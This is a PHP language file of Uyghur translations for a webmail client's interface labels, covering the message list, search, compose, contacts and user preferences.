$labels['previous'] = 'ئالدىنقى';
$labels['next'] = 'كىيىنكى';
$labels['select'] = 'تاللاڭ';
$labels['selection'] = 'تاللاش';
$labels['all'] = 'ھەممە';
$labels['none'] = 'ھېچنىمە';
$labels['currpage'] = 'نۆۋەتتىكى بەت';
$labels['isread'] = 'ئۇقۇش';
$labels['unread'] = 'ئۇقۇماسلىق';
$labels['flagged'] = 'بايراقلانغان';
$labels['unflagged'] = 'بايراقلانمىغان';
$labels['unanswered'] = 'جاۋاپ قايتۇرمىغان';
$labels['withattachment'] = 'قىستۇرمىلىق';
$labels['deleted'] = 'ئۆچۈرۋەتكەن';
$labels['undeleted'] = 'ئۆچۈرۋەتمىگەن';
$labels['replied'] = 'جاۋاپ قايتۇرغان';
$labels['forwarded'] = 'يوللىغان';
$labels['invert'] = 'تەتۈرلەش';
$labels['filter'] = 'سۈزگۈچ';
$labels['list'] = 'تىزىملىك';
$labels['threads'] = 'يىپلار';
$labels['expand-all'] = 'ھەممىنى يېيىش';
$labels['expand-unread'] = 'ئوقۇلمىغاننى يېيىش';
$labels['collapse-all'] = 'ھەممىنى يېيىش';
$labels['threaded'] = 'يىپلانغان';
$labels['showunread'] = 'ئوقۇلمىغان خەتلەرنى كۆرسىتىش';
$labels['autoexpand_threads'] = 'خەت يىپلىرىنى كۆرسىتىش';
$labels['do_expand'] = 'ھەممە يىپلار';
$labels['expand_only_unread'] = 'پەقەتلا ئوقۇلمىغان خەتلەرنىڭ';
$labels['fromto'] = 'دىن/غا';
$labels['flag'] = 'بايراق';
$labels['attachment'] = 'قىستۇرما';
$labels['nonesort'] = 'ھېچنىمە';
$labels['sentdate'] = 'ئەۋەتىلگەن چېسلا';
$labels['arrival'] = 'كەلگەن چېسلا';
$labels['asc'] = 'چوڭايغان';
$labels['desc'] = 'كىچىكلىگەن';
$labels['listcolumns'] = 'قۇرلارنى تىزىش';
$labels['listsorting'] = 'قۇرلارنى رەتلەش';
$labels['listorder'] = 'رەتلەش تەرتىپى';
$labels['listmode'] = 'كۆرۈش ھالىتىنى تىزىش';
$labels['lmode'] = 'ھالەتنى تىزىش';
$labels['layout'] = 'قۇرۇلما';
$labels['layoutwidescreen'] = 'كەڭرى ئېكران';
$labels['layoutdesktop'] = 'ئۈستەل يۈزى';
$labels['layoutlist'] = 'تىزىملىك';
$labels['layoutwidescreendesc'] = 'كەڭ ئېكران(3-قۇرلۇق كۆرۈنۈش)';
$labels['layoutdesktopdesc'] = 'ئۈستەل يۈزى(كەڭرى تىزىملىك ھەمدە خەتنى تۆۋەندە ئالدىن كۆرسىتىش)';
$labels['layoutlistdesc'] = 'تىزىملىك (خەتنى ئالدىن كۆرسىتىش يوق)';
$labels['folderactions'] = 'قىسقۇچ ھەركەتلىرى...';
$labels['compact'] = 'ئىخچام';
$labels['empty'] = 'قۇرۇق';
$labels['importmessages'] = 'خەتلەرنى كىرگۈزۈش';
$labels['mailimportdesc'] = 'سىز خەتنى <a href="https://en.wikipedia.org/wiki/Email#Message_format"> MIME </a> ياكى <a href="https://en.wikipedia.org/wiki/Mbox"> Mbox </a> فورماتىدىكى ھۆججەتلەرنى ئىشلىتىپ چىقىرالايسىز.';
$labels['mailimportzip'] = 'كۆپلىگەن ھۆججەتلەرنى زىپ ئارخىپىغا سىققىلى بۇلىدۇ.';
$labels['quota'] = 'دىسكا ئىشلىتىشچانلىقى';
$labels['unknown'] = 'ناتۇنۇش';
$labels['unlimited'] = 'چەكسىز';
$labels['quotatype'] = 'بەلگىلەنگەن مىقدار تۈرى';
$labels['quotatotal'] = 'چەك';
$labels['quotaused'] = 'ئىشلەتكەن';
$labels['quotastorage'] = 'دىسكا بوشلۇقى';
$labels['quotamessage'] = 'خەت سانى';
$labels['shortheaderdate'] = '$چېسلادا';
$labels['shortheaderto'] = 'to$ غا date$دا';
$labels['shortheaderfrom'] = 'from$ دىن date$ دا';
$labels['quicksearch'] = 'تېز ئىزدەش';
$labels['searchplaceholder'] = 'ئىزدەش...';
$labels['resetsearch'] = 'ئىزدەشنى ئەسلىگە قايتۇرۇش';
$labels['searchmod'] = 'ئىزدەش ئۆزگەرتكۈچلىرى';
$labels['msgtext'] = 'پۈتۈن خەت';
$labels['body'] = 'مەزمۇن';
$labels['type'] = 'تۈرى';
$labels['namex'] = 'ئىسمى';
$labels['searchscope'] = 'دائىرە';
$labels['currentfolder'] = 'نۆۋەتتىكى قىسقۇچ';
$labels['subfolders'] = 'بۇ ھەمدە بالا-قىسقۇچلار';
$labels['allfolders'] = 'ھەممە قىسقۇچلار';
$labels['searchinterval-1W'] = 'بىر ھەپتىدىن بۇرۇنقى';
$labels['searchinterval-1M'] = 'بىر ئايدىن بۇرۇنقى';
$labels['searchinterval-1Y'] = 'بىر يىلدىن بۇرۇنقى';
$labels['searchinterval1W'] = 'بىر ھەپتىن بۇيانقى';
$labels['searchinterval1M'] = 'بىر ئايدىن بۇيانقى';
$labels['searchinterval1Y'] = 'بىر يىلدىن بۇيانقى';
$labels['openinextwin'] = 'يېڭى كۆزنەكتە ئېچىش';
$labels['emlsave'] = 'چۈشۈرۈش (.ئېلخەت)';
$labels['changeformattext'] = 'ئاددىي تېكىست ھالەتتە كۆرسىتىش';
$labels['changeformathtml'] = 'HTML ھالەتتە كۆرسىتىش';
$labels['editasnew'] = 'يېڭى ھالەتتە تەھرىرلەش';
$labels['send'] = 'ئەۋەتىش';
$labels['sendmessage'] = 'خەتنى ئەۋەتىش';
$labels['savemessage'] = 'قوليازما ھالەتتە ساقلاش';
$labels['addattachment'] = 'بىر ھۆججەت قىستۇرۇش';
$labels['charset'] = 'خەت بولىقى';
$labels['editortype'] = 'تەھرىرلەش تۈرى';
$labels['returnreceipt'] = 'تاپشۇرۋالغۇچىنى قايتۇرۇش';
$labels['dsn'] = 'يەتكۈزۈش ئەھۋالى ئۇقتۇرۇشى';
$labels['keepformatting'] = 'داۋاملىق فورماتلاش';
$labels['mailreplyintro'] = 'date$ دا، sender$ يازدى:';
$labels['originalmessage'] = 'ئەسلىي خەت';
$labels['selectimage'] = 'رەسىم تاللاش';
$labels['addimage'] = 'رەسىم قېتىش';
$labels['selectmedia'] = 'كىنو تاللاش';
$labels['addmedia'] = 'كىنو قېتىش';
$labels['encrypt'] = 'شىفىرلاش';
$labels['encryptmessage'] = 'خەتنى شىفىرلاش';
$labels['encryptmessagemailvelope'] = 'خەتنى Mailvelope بىلەن شىفىرلاش';
$labels['importpubkeys'] = 'ئاممىۋى ئاچقۇچلارنى كىرگۈزۈش';
$labels['encryptedsendialog'] = 'شىفىرلانغان ئۇچۇرنى يوللاۋاتىدۇ';
$labels['encryptandsign'] = 'شىفىرلاش ھەمدە ئىمزا قۇيۇش';
$labels['keyid'] = 'ئاچقۇچ نۇمۇرى';
$labels['keylength'] = 'بىتلار';
$labels['keyexpired'] = 'ۋاقتى ئۆتكەن';
$labels['keyrevoked'] = 'قايتۇرۋالغان';
$labels['bccinstead'] = 'ب چ چىنى ئىشلىتىش';
$labels['addheader'] = 'تاپشۇرۋالغۇچى قېتىش (باشلانما)';
$labels['insert'] = 'كىرگۈزۈش';
$labels['insertcontact'] = 'تۇنۇش(لار) قېتىش';
$labels['recipient'] = 'تاپشۇرۋالغۇچى';
$labels['recipientedit'] = 'تاپشۇرۋالغۇچىنى تەھرىرلەش';
$labels['editidents'] = 'كىملىكلەرنى تەھرىرلەش';
$labels['spellcheck'] = 'ئىملا';
$labels['checkspelling'] = 'ئىملا تەكشۈرۈش';
$labels['resumeediting'] = 'تەھرىرلەشنى داۋاملاشتۇرۇش';
$labels['revertto'] = 'قايتۇرۇش';
$labels['restore'] = 'ئەسلىگە قايتۇرۇش';
$labels['restoremessage'] = 'ئۇچۇرنى ئەسلىگە قايتۇرامسىز؟';
$labels['ignore'] = 'كارىم يوق';
$labels['responses'] = 'ئىنكاسلار';
$labels['insertresponse'] = 'بىر ئىنكاس يېزىش';
$labels['manageresponses'] = 'ئىنكاسلارنى باشقۇرۇش';
$labels['newresponse'] = 'يېڭى ئىنكاس يېزىش';
$labels['addresponse'] = 'ئىنكاس قېتىش';
$labels['editresponse'] = 'ئىنكاسنى تەھرىرلەش';
$labels['editresponses'] = 'ئىنكاسلارنى تەھرىرلەش';
$labels['responsename'] = 'ئىسمى';
$labels['responsetext'] = 'ئىنكاس تېكىستى';
$labels['attach'] = 'قىستۇرۇش';
$labels['attachments'] = 'قىستۇرمىلار';
$labels['upload'] = 'چىقىرىش';
$labels['uploadprogress'] = 'percent$ (total$ نىڭ current$ )';
$labels['close'] = 'تاقاش';
$labels['messageoptions'] = 'خەت تاللانمىلىرى...';
$labels['togglecomposeoptions'] = 'يېزىش تاللانمىلىرىنى بار-يوق قىلىش';
$labels['attachmentrename'] = 'قىستۇرمىغا يېڭى ئىسىم قۇيۇش';
$labels['low'] = 'تۆۋەن';
$labels['lowest'] = 'ئەڭ تۆۋەن';
$labels['normal'] = 'نورمال';
$labels['high'] = 'يۇقىرى';
$labels['highest'] = 'ئەڭ يۇقىرى';
$labels['nosubject'] = '(تېما يوق)';
$labels['showimages'] = 'رەسىملەرنى كۆرسىتىش';
$labels['allow'] = 'يول قۇيۇش';
$labels['alwaysshow'] = 'sender$ نىڭ رەسىملىرىنى دائىم كۆرسىتىش';
$labels['alwaysallow'] = 'sender$ دىن كەلسە دائىم يول قۇيۇش';
$labels['isdraft'] = 'بۇ يولسا بىر قوليازما خەت';
$labels['andnmore'] = 'nr$ تېخىمۇ كۆپ...';
$labels['details'] = 'تەپسىلاتلار';
$labels['summary'] = 'خۇلاسە';
$labels['headers'] = 'باشلانمىلار';
$labels['allheaders'] = 'بارلىق باشلانمىلار...';
$labels['togglemoreheaders'] = 'تېخىمۇ كۆپ خەت باشلانمىلىرىنى كۆرسىتىش';
$labels['togglefullheaders'] = 'خام ئۇچۇر باشلانمىلىرىنى بار-يوق قىلىش';
$labels['htmltoggle'] = 'خ ت م ل';
$labels['plaintoggle'] = 'ئاددىي تېكىست';
$labels['savesentmessagein'] = 'يوللىغان ئۇچۇرنى ساقلاش';
$labels['dontsave'] = 'ساقلىماسلىق';
$labels['maxuploadsize'] = 'يول قۇيۇلغان ئەڭ چوڭ ھۆججەت چوڭلۇقى بولسا size$';
$labels['addcc'] = 'قۇشۇمچە قېتىش';
$labels['addbcc'] = 'ب چ چ قېتىش';
$labels['addreplyto'] = 'جاۋاپ قايتۇرۇشنى قېتىش';
$labels['addfollowupto'] = 'داۋاملاشتۇرۇش قېتىش';
$labels['sendreceipt'] = 'ئۇقۇش تىلخېتىنى ئەۋەتەمسىز؟';
$labels['mdnrequest'] = 'بۇ خەتنى ئەۋەتكۈچى سىز خەتنى ئۇقۇغاندا ئۇقتۇرۇلۇشنى سورىدى. سىز ئەۋەتكۈچىگە ئۇقتۇرۇشنى خالامسىز؟';
$labels['receiptread'] = 'تېلىخەتنى قايتۇرۇش(ئۇقۇغان)';
$labels['yourmessage'] = 'بۇ بولسا ئۇچۇرىڭىزنىڭ قايتۇرما تېلىخېتى';
$labels['receiptnote'] = 'ئۇقتۇرۇش: بۇ تالون پەقەتلا خەتنىڭ تاپشۇرۋالغۇچىنىڭ كومپىيوتېرىدا كۆرسىتىلگەنلىكىنى ئېتراپ قىلىدۇ. تاپشۇرۋالغۇچىنىڭ خەتنى ئۇقۇغانلىقىنى ياكى خەت مەزمۇنىنى چۈشەنگەنلىكىگە كاپالەتلىك قىلمايدۇ.';
$labels['sendalwaysto'] = 'دائىم email$ غا ئەۋەتىش';
$labels['zoomin'] = 'چوڭايتىش';
$labels['zoomout'] = 'كىچىكلەشتۈرۈش';
$labels['rotate'] = 'ئايلاندۇرۇش';
$labels['increaseimage'] = 'رەسىم چوڭلۇقىنى ئاشۇرۇش';
$labels['decreaseimage'] = 'رەسىم چوڭلۇقىنى كىچىكلىتىش';
$labels['rotateimage'] = 'رەسىمنى ئايلاندۇرۇش';
$labels['showtools'] = 'رەسىم قوراللىرىنى كۆرسىتىش';
$labels['hidetools'] = 'رەسىم قوراللىرىنى يۇشۇرۇش';
$labels['name'] = 'ئىسمىنى كۆرسىتىش';
$labels['firstname'] = 'ئىسمى';
$labels['surname'] = 'فامىلىسى';
$labels['middlename'] = 'ئوتتۇرانچى ئىسمى';
$labels['nameprefix'] = 'ئالدى قۇشۇمچە';
$labels['namesuffix'] = 'ئارقا قۇشۇمچە';
$labels['nickname'] = 'تەخەللۇس';
$labels['jobtitle'] = 'خىزمەت ئۇنىۋانى';
$labels['department'] = 'بۆلۈم';
$labels['gender'] = 'جىنسى';
$labels['maidenname'] = 'توي قىلىشتىن بۇرۇنقى فامىلىسى';
$labels['email'] = 'ئېلىخەت';
$labels['phone'] = 'تېلىفۇن';
$labels['address'] = 'ئادىرىس';
$labels['street'] = 'كوچا';
$labels['locality'] = 'شەھەر';
$labels['zipcode'] = 'پوچتا نۇمۇرى';
$labels['region'] = 'ۋىلايەت';
$labels['country'] = 'دۆلەت';
$labels['birthday'] = 'تۇغۇلغان كۈن';
$labels['anniversary'] = 'خاتىرە كۈن';
$labels['website'] = 'توربەت';
$labels['instantmessenger'] = 'ئى م';
$labels['notes'] = 'خاتىرە';
$labels['male'] = 'ئەر';
$labels['female'] = 'ئايال';
$labels['manager'] = 'دېرىكتور';
$labels['assistant'] = 'ياردەمچى';
$labels['spouse'] = 'جۈپتى';
$labels['allfields'] = 'بارلىق ئورۇنلار';
$labels['search'] = 'ئىزدەش';
$labels['searchresult'] = 'ئىزدەش نەتىنجىسى';
$labels['advsearch'] = 'ئالاھىدە ئىزدەش';
$labels['advanced'] = 'ئالاھىدە';
$labels['other'] = 'باشقا';
$labels['printcontact'] = 'تۇنۇشنى بېسىپ چىقىرىش';
$labels['qrcode'] = 'ئىككىلىك كود';
$labels['typehome'] = 'ئۆي';
$labels['typework'] = 'خىزمەت';
$labels['typeother'] = 'باشقا';
$labels['typemobile'] = 'كۆچمە';
$labels['typemain'] = 'ئاساسىي';
$labels['typehomefax'] = 'ئۆي فاكىس';
$labels['typeworkfax'] = 'خىزمەت فاكىسى';
$labels['typecar'] = 'ماشىنا';
$labels['typepager'] = 'بەتكۈچ';
$labels['typevideo'] = 'سىن';
$labels['typeassistant'] = 'ياردەمچى';
$labels['typehomepage'] = 'باشبەت';
$labels['typeblog'] = 'بىلوگ';
$labels['typeprofile'] = 'تەرجىمال';
$labels['addfield'] = 'ئورۇن قېتىش...';
$labels['addcontact'] = 'تونۇش قېتىش';
$labels['editcontact'] = 'تونۇشنى تەھرىرلەش';
$labels['contacts'] = 'تونۇشلار';
$labels['contactproperties'] = 'تونۇش خاسلىقلىرى';
$labels['contactnameandorg'] = 'ئىسم ۋە ئورگان';
$labels['personalinfo'] = 'شەخسىي ئۇچۇر';
$labels['personal'] = 'شەخسىي';
$labels['contactphoto'] = 'تونۇش رەسىمى';
$labels['edit'] = 'تەھرىرلەش';
$labels['cancel'] = 'ئەمەلدىن قالدۇرۇش';
$labels['save'] = 'ساقلاش';
$labels['delete'] = 'ئۆچۈرۈش';
$labels['discard'] = 'تاشلاش';
$labels['continue'] = 'داۋاملاشتۇرۇش';
$labels['ok'] = 'ھەئە';
$labels['rename'] = 'يېڭى ئىسىم قۇيۇش';
$labels['addphoto'] = 'قېتىش';
$labels['replacephoto'] = 'ئالماشتۇرۇش';
$labels['uploadphoto'] = 'رەسىم چىقىرىش';
$labels['choosefile'] = 'ھۆججەت تاللاش...';
$labels['choosefiles'] = 'ھۆججەتلەرنى تاللاش...';
$labels['browse'] = 'كۆز يۈرگۈزۈش';
$labels['newcontact'] = 'يېڭى تۇنۇش قۇرۇش';
$labels['deletecontact'] = 'تاللانغان تۇنۇشلارنى ئۆچۈرۈش';
$labels['composeto'] = 'غا خەت قۇرۇش';
$labels['contactsfromto'] = 'from$دىن to$غا جەمئىي count$ تۇنۇش';
$labels['print'] = 'بېسىش';
$labels['export'] = 'چىقىرىش';
$labels['exportall'] = 'ھەممىنى چىقىرىش';
$labels['exportsel'] = 'تاللانغاننى چىقىرىش';
$labels['exportvcards'] = 'تۇنۇشلارنى ۋكارتىسى فورماتىدا چىقىرىش';
$labels['newgroup'] = 'يېڭى توپ قۇرۇش';
$labels['addgroup'] = 'توپ قېتىش';
$labels['grouprename'] = 'توپ ئىسمىنى يېڭىلاش';
$labels['groupdelete'] = 'توپنى ئۆچۈرۈش';
$labels['groupassign'] = 'توپقا بەلگىلەش';
$labels['groupremove'] = 'توپتىن چىقىرىش';
$labels['groupremoveselected'] = 'تاللانغان تۇنۇشلارنى توپتىن چىقىرىش';
$labels['uponelevel'] = 'بىر دەرىجە ئۆستۈرۈش';
$labels['previouspage'] = 'ئالدىنقى بەتنى كۆرسىتىش';
$labels['firstpage'] = 'تۇنجى بەتنى كۆرسىتىش';
$labels['nextpage'] = 'كىيىنكى بەتنى كۆرسىتىش';
$labels['lastpage'] = 'ئاخىرقى بەتنى كۆرسىتىش';
$labels['group'] = 'توپ';
$labels['groups'] = 'توپلار';
$labels['listgroup'] = 'توپ ئەزالىرىنى تىزىش';
$labels['personaladrbook'] = 'شەخسىي ئادىرىسلار';
$labels['searchsave'] = 'ئىزدەشنى ساقلاش';
$labels['searchdelete'] = 'ئىزدەشنى ئۆچۈرۈش';
$labels['import'] = 'كىرگۈزۈش';
$labels['importcontacts'] = 'تۇنۇشلارنى كىرگۈزۈش';
$labels['importfromfile'] = 'ھۆججەتتىن كىرگۈزۈش';
$labels['importtarget'] = 'تۇنۇشلارنى قېتىش';
$labels['importreplace'] = 'پۈتۈن ئادرىس دەپتىرىنى ئالماشتۇرۇش';
$labels['importgroups'] = 'توپ تاپشۇرۇقلىرىنى كىرگۈزۈش';
$labels['importgroupsall'] = 'بارلىق (زۆرۆر تېپىلسا توپ قۇرۇش)';
$labels['importgroupsexisting'] = 'پەقەتلا مەۋجۇت توپلار ئۈچۈن';
$labels['importdesc'] = 'سىز مەۋجۇت ئادىرىس دەپتىرىدىن تۇنۇشلارنى چىقىرالايسىز. <br/>بىز نۆۋەتتە ئادىرىسلارنى <a href="https://en.wikipedia.org/wiki/VCard"> ۋىكارتىسى </a> ياكى س ئەس ۋ (پەش بىلەن ئايرىلغان) ئۇچۇر فورماتىدا كىرگۈزۈشنى قوللايمىز.';
$labels['importmapdesc'] = 'س ئەس ۋ (پەش بىلەن ئايرىلغان) ئۇچۇرىنى كىرگۈزۈشتىن بۇرۇن تۆۋەندىكى ئورۇن خەرىتىلەش ئۇچۇرىنىڭ توغىرلىقىنى جەزىملەشتۈرۈڭ.';
$labels['fieldnotmapped'] = 'ئورۇن خەرىتىلەنمىدى (كىرگۈزمەڭ)';
$labels['skipheader'] = 'بىرىنچى قۇرنى كىرگۈزمەڭ (باشلانمىلار)';
$labels['done'] = 'پۈتتى';
$labels['settingsfor'] = 'تەڭشىكى';
$labels['about'] = 'ھەققىدە';
$labels['preferences'] = 'مايىللىقلار';
$labels['userpreferences'] = 'ئىشلەتكۈچى مايىللىقلىرى';
$labels['editpreferences'] = 'ئىشلەتكۈچى مايىللىقلىرىنى تەھرىرلەش';
$labels['identities'] = 'كىملىكلەر';
$labels['manageidentities'] = 'كىملىكلەرنى باشقۇرۇش';
$labels['newidentity'] = 'يېڭى كىملىك قۇرۇش';
$labels['addidentity'] = 'كىملىك قۇشۇش';
$labels['editidentity'] = 'كىملىكنى تەھرىرلەش';
$labels['identityencryption'] = 'شىفىرلاش';
$labels['preferhtml'] = 'خ ت م ل نى كۆرسىتىش';
$labels['defaultcharset'] = 'ئەسلىدىكى يېزىق بولىقى';
$labels['htmlmessage'] = 'خ ت م ل ئۇچۇرى';
$labels['messagepart'] = 'بۆلەك';
$labels['digitalsig'] = 'رەقەملىك ئىمزا';
$labels['dateformat'] = 'چېسلا شەكلى';
$labels['timeformat'] = 'ۋاقىت شەكلى';
$labels['prettydate'] = 'ئۇماق چېسلالار';
$labels['setdefault'] = 'سۈكۈتنى بېكىتىش';
$labels['autodetect'] = 'ئاپتۇماتىك';
$labels['language'] = 'تىل';
$labels['timezone'] = 'ۋاقىت رايۇنى';
$labels['pagesize'] = 'بەت قۇرى';
$labels['signature'] = 'ئىمزا';
$labels['dstactive'] = 'يازلىق ۋاقىت قىسقىرىشى';
$labels['showinextwin'] = 'خەتنى يېڭى كۆزنەكتە ئېچىش';
$labels['composeextwin'] = 'يېڭى كۆزنەكتە يېزىش';
$labels['htmleditor'] = 'خ ت م ل ئۇچۇر يېزىش';
$labels['htmlonreply'] = 'خ ت م ل ئۇچۇرىغا جاۋاپ قايتۇرغاندا';
$labels['htmlonreplyandforward'] = 'خ ت م ل ئۇچۇرىغا جاۋاپ قايتۇرغاندا ياكى يەتكۈزگەندە';
$labels['htmlsignature'] = 'خ ت م ل ئىمزا';
$labels['showemail'] = 'ئېلىخەت ئادىرسىنى ئىسمى بىلەن كۆرسىتىش';
$labels['previewpane'] = 'ئالدىن كۆرۈش تاختىسىنى كۆرسىتىش';
$labels['skin'] = 'ئۇلىنىش ئېغىزى تېرىسى';
$labels['logoutclear'] = 'چېكىنگەندە ئەخلەت چېلىكىنى قۇرۇقداش';
$labels['logoutcompact'] = 'چېكىنگەندە كىلىش ساندۇقىنى ئىخچاملاش';
$labels['uisettings'] = 'ئىشلەتكۈچى ئۇلىنىش ئېغىزى';
$labels['serversettings'] = 'مۇلازىمېتىر تەڭشىكى';
$labels['mailboxview'] = 'خەت ساندۇقى كۆرۈنۈشى';
$labels['mdnrequests'] = 'تېلىخەت قايتۇرۇش تەلىپىگە بىنائەن';
$labels['askuser'] = 'مەندىن سوراڭ';
$labels['autosend'] = 'تېلخەت ئەۋەتىش';
$labels['autosendknown'] = 'تېلخەتنى مېنىڭ تۇنۇشلىرىمغا ئەۋەتىڭ، بولمىسا مەندىن سوراڭ';
$labels['autosendknownignore'] = 'تېلخەتنى مېنىڭ تۇنۇشلىرىمغا ئەۋەتىڭ، بولمىسا كارىڭىز بولمىسۇن';
$labels['autosendtrusted'] = 'تېلىخەتنى ئىشەنچلىك ئەۋەتكۈچىلەرگە ئەۋەتىڭ، بولمىسا مەندىن سوراڭ';
$labels['autosendtrustedignore'] = 'تېلخەتنى ئىشەنچلىك ئەۋەتكۈچىلەرگە ئەۋەتىڭ، بولمىسا كارىڭىز بولمىسۇن';
$labels['ignorerequest'] = 'تەلەپكە كارىڭىز بولمىسۇن';
$labels['readwhendeleted'] = 'خەتنى ئۆچۈرگەندە ئۇقۇغانلىق بەلگىسىنى قۇيۇش';
$labels['flagfordeletion'] = 'خەتنى ئۆچۈرۋەتكەندىن كۆرە ئۆچۈرۈلۈش بەلگىسىنى قۇيۇش';
$labels['skipdeleted'] = 'ئۆچۈرۋەتكەن ئۇچۇرلارنى كۆرسەتمەڭ';
$labels['deletealways'] = 'ئۇچۇرلارنى ئەخلەت چېلىكىگە يۆتكەش مەغلۇپ بولسا، ئۇلارنى ئۆچۈرۈڭ';
$labels['deletejunk'] = 'ئەخلەت چېلىكىدىكى ئۇچۇرلارنى بىۋاستە ئۆچۈرۋېتىڭ';
$labels['showremoteimages'] = 'يىراقتىكى ئەسكەرتىش رەسىملىرىنى كۆرسىتىش';
$labels['allowremoteresources'] = 'يىراقتىكى مەنبەلەرگە ئىجازەت بېرىش(رەسىم، ئۇسلۇب)';
$labels['fromknownsenders'] = 'تۇنۇش ئەۋەتكۈچىلەردىن';
$labels['fromtrustedsenders'] = 'ئىشەنچلىك ئەۋەتكۈچىلەردىن';
$labels['frommycontacts'] = 'تۇنۇشلىرىمدىن';
$labels['always'] = 'دائىم';
$labels['alwaysbutplain'] = 'دائىم، ئاددىي تېكىستقا جاۋاپ بەرگەندىن باشقا';
$labels['showinlineimages'] = 'خەتكە قىستۇرۇلغان رەسىملەرنى ئاستىدا كۆرسىتىڭ';
$labels['autosavedraft'] = 'قوليازمىنى ئاپتۇماتىك ساقلاڭ';
$labels['everynminutes'] = 'ھەر n$ مىنۇت(لار)دا';
$labels['refreshinterval'] = 'يېڭىلاش (يېڭى ئۇچۇرنى تەكشۈرۈش، قاتارلىق)';
$labels['never'] = 'ھەرگىز';
$labels['immediately'] = 'دەرھال';
$labels['messagesdisplaying'] = 'خەتلەرنى كۆرسىتىش';
$labels['messagescomposition'] = 'خەتلەرنى يېزىش';
$labels['mimeparamfolding'] = 'قىستۇرۇلغان ئىسىملار';
$labels['2231folding'] = 'پۈتۈن ر ف س 2231 (چاقماققۇش)';
$labels['miscfolding'] = 'ر ف س 2047/2231 (مىكروسوفىت Outlook)';
$labels['2047folding'] = 'پۈتۈن ر ف س 2047 (باشقا)';
$labels['force7bit'] = '8-بىتلىق خەتلەرگە MIME شىفىرىنى ئىشلىتىڭ';
$labels['savelocalstorage'] = "تور كۆرگۈچنىڭ يەرلىك بوشلۇقىغا ساقلاش (ۋاقىتلىق)";
$labels['advancedoptions'] = 'ئالاھىدە تاللانمىلار';
$labels['toggleadvancedoptions'] = 'ئالاھىدە تاللانمىلارنى بار-يوق قىلىش';
$labels['focusonnewmessage'] = 'تور كۆرگۈچنىڭ كۆزنىكىنى يېڭى خەتكە مەركەزلەشتۈرۈڭ';
$labels['checkallfolders'] = 'يېڭى ئۇچۇرنى ھەممە قىسقۇچلاردىن تەكشۈرۈش';
$labels['displaynext'] = 'ئۆچۈرۈش/چىقىرۋېتىشتىن كىيىن تىزىملىكنىڭ كىيىنكى قۇرىنى كۆرسىتىش';
$labels['defaultfont'] = 'خ ت م ل ئۇچۇرىنىڭ ئەسلىي خەت شەكلى';
$labels['mainoptions'] = 'ئاساسىي تاللانمىلار';
$labels['browseroptions'] = 'تور كۆرگۈچ تاللانمىلىرى';
$labels['section'] = 'بۆلەك';
$labels['maintenance'] = 'ئاسىراش';
$labels['newmessage'] = 'يېڭى خەت';
$labels['signatureoptions'] = 'ئىمزا تاللانمىلىرى';
$labels['whenreplying'] = 'جاۋاپ قايتۇرغاندا';
$labels['replyempty'] = 'ئەسلىدىكى خەتنى نەقىل كەلتۈرمەڭ';
$labels['replytopposting'] = 'نەقىلنىڭ ئۈستىدە يېڭى خەت يېزىش';
$labels['replytoppostingnoindent'] = 'نەقىلنىڭ ئۈستىدە يېڭى خەت يېزىش (بوش ئورۇن يوق)';
$labels['replybottomposting'] = 'نەقىلنىڭ ئاستىدا يېڭى خەت يېزىش';
$labels['replyremovesignature'] = 'جاۋاپ قايتۇرغاندا ئەسلىي ئىمزانى خەتتىن ئۆچۈرۋېتىش';
$labels['autoaddsignature'] = 'ئاپتۇماتىك ئىمزا قۇيۇش';
$labels['newmessageonly'] = 'يېڭى خەتكىلا';
$labels['replyandforwardonly'] = 'جاۋاپ قايتۇرۇش ۋە يەتكۈزۈشكىلا';
$labels['insertsignature'] = 'ئىمزا قۇيۇش';
$labels['sigbelow'] = 'ئىمزانى نەقىللىگەن ئۇچۇرنىڭ ئاستىغا قۇيۇش';
$labels['sigseparator'] = 'ئىمزالاردا ئۆلچەملىك ئايرىغۇچنى مەجبۇرى قۇيۇش';
$labels['automarkread'] = 'خەتكە ئۇقۇغان بەلگىسىنى قۇيۇش';
$labels['afternseconds'] = 'n$ سىكونتتىن كىيىن';
$labels['reqmdn'] = 'قايتۇرۇش تېلىخېتىنى دائىم تەلەپ قىلىش';
$labels['reqdsn'] = 'ئەۋەتىش ئەھۋالى ئۇقتۇرۇشىنى دائىم تەلەپ قىلىش';
$labels['replysamefolder'] = 'جاۋاپ خەتنى جاۋاپ قايتۇرۇلغان ئۇچۇر قىسقۇچىغا قۇيۇش';
$labels['defaultabook'] = 'سۈكۈتتىكى ئادىرىس دەپتىرى';
$labels['autocompletesingle'] = 'ئاپتۇماتىك پۈتكۈزۈشتە ئىككىنچى ئېلىخەت ئادىرىسلىرىنى تاشلاش';
$labels['listnamedisplay'] = 'تۇنۇشلارنى سۈپىتىدە تىزىش';
$labels['contactformmode'] = 'تۇنۇش جەدىۋېلى ھالىتى';
$labels['privatemode'] = 'شەخسىي (ئۆي)';
$labels['businessmode'] = 'سودا (خىزمەت)';
$labels['collectedaddresses'] = 'يىغىلغان ئادىرىسلار';
$labels['collectedrecipients'] = 'يىغىلغان تاپشۇرۋالغۇچىلار';
$labels['collectedrecipientsopt'] = 'ئەۋەتىلدىغان ئېلىخەتنىڭ تاپشۇرۋالغۇچىلىرىنى ساقلايدىغان ئورۇن';
$labels['collectedsendersopt'] = 'ئىشەنچلىك ئەۋەتكۈچىلەرنى ساقلاش';
$labels['trustedsenders'] = 'ئىشەنچلىك ئەۋەتكۈچىلەر';
$labels['spellcheckbeforesend'] = 'خەتنى ئەۋەتىشتىن بۇرۇن ئىملا تەكشۈرۈش';
$labels['spellcheckoptions'] = 'ئىملا تەكشۈرۈش تاللانمىلىرى';
$labels['spellcheckignoresyms'] = 'بەلگىلىك سۆزلەرنى ئۆتكۈزۋېتىش';
$labels['spellcheckignorenums'] = 'رەقەملىك سۆزلەرنى ئۆتكۈزۋېتىش';
$labels['spellcheckignorecaps'] = 'ھەممە ھەرىپ چوڭ يېزىلغان سۆزلەرنى ئۆتكۈزۋېتىش';
$labels['addtodict'] = 'لۇغەتكە قېتىش';
$labels['mailtoprotohandler'] = 'خەت ئەۋەتىش ئۈچۈن كىلىشىمنامە بىر-تەرەپ قىلغۇچنى تىزىملىتىش: ئۇلىنىشلار';
$labels['standardwindows'] = 'سەكرەلمىلەرنى ئۆلچەملىك كۆزنەك سۈپىتىدە بىر-تەرەپ قىلىش';
$labels['forwardmode'] = 'خەت يەتكۈزۈش';
$labels['inline'] = 'ئەسكەرتىش';
$labels['asattachment'] = 'قىستۇرما ھالەتتە';
$labels['replyallmode'] = '[ھەممىگە جاۋاپ] كۇنۇپكىسىنىڭ سۈكۈتتىكى ھەركىتى';
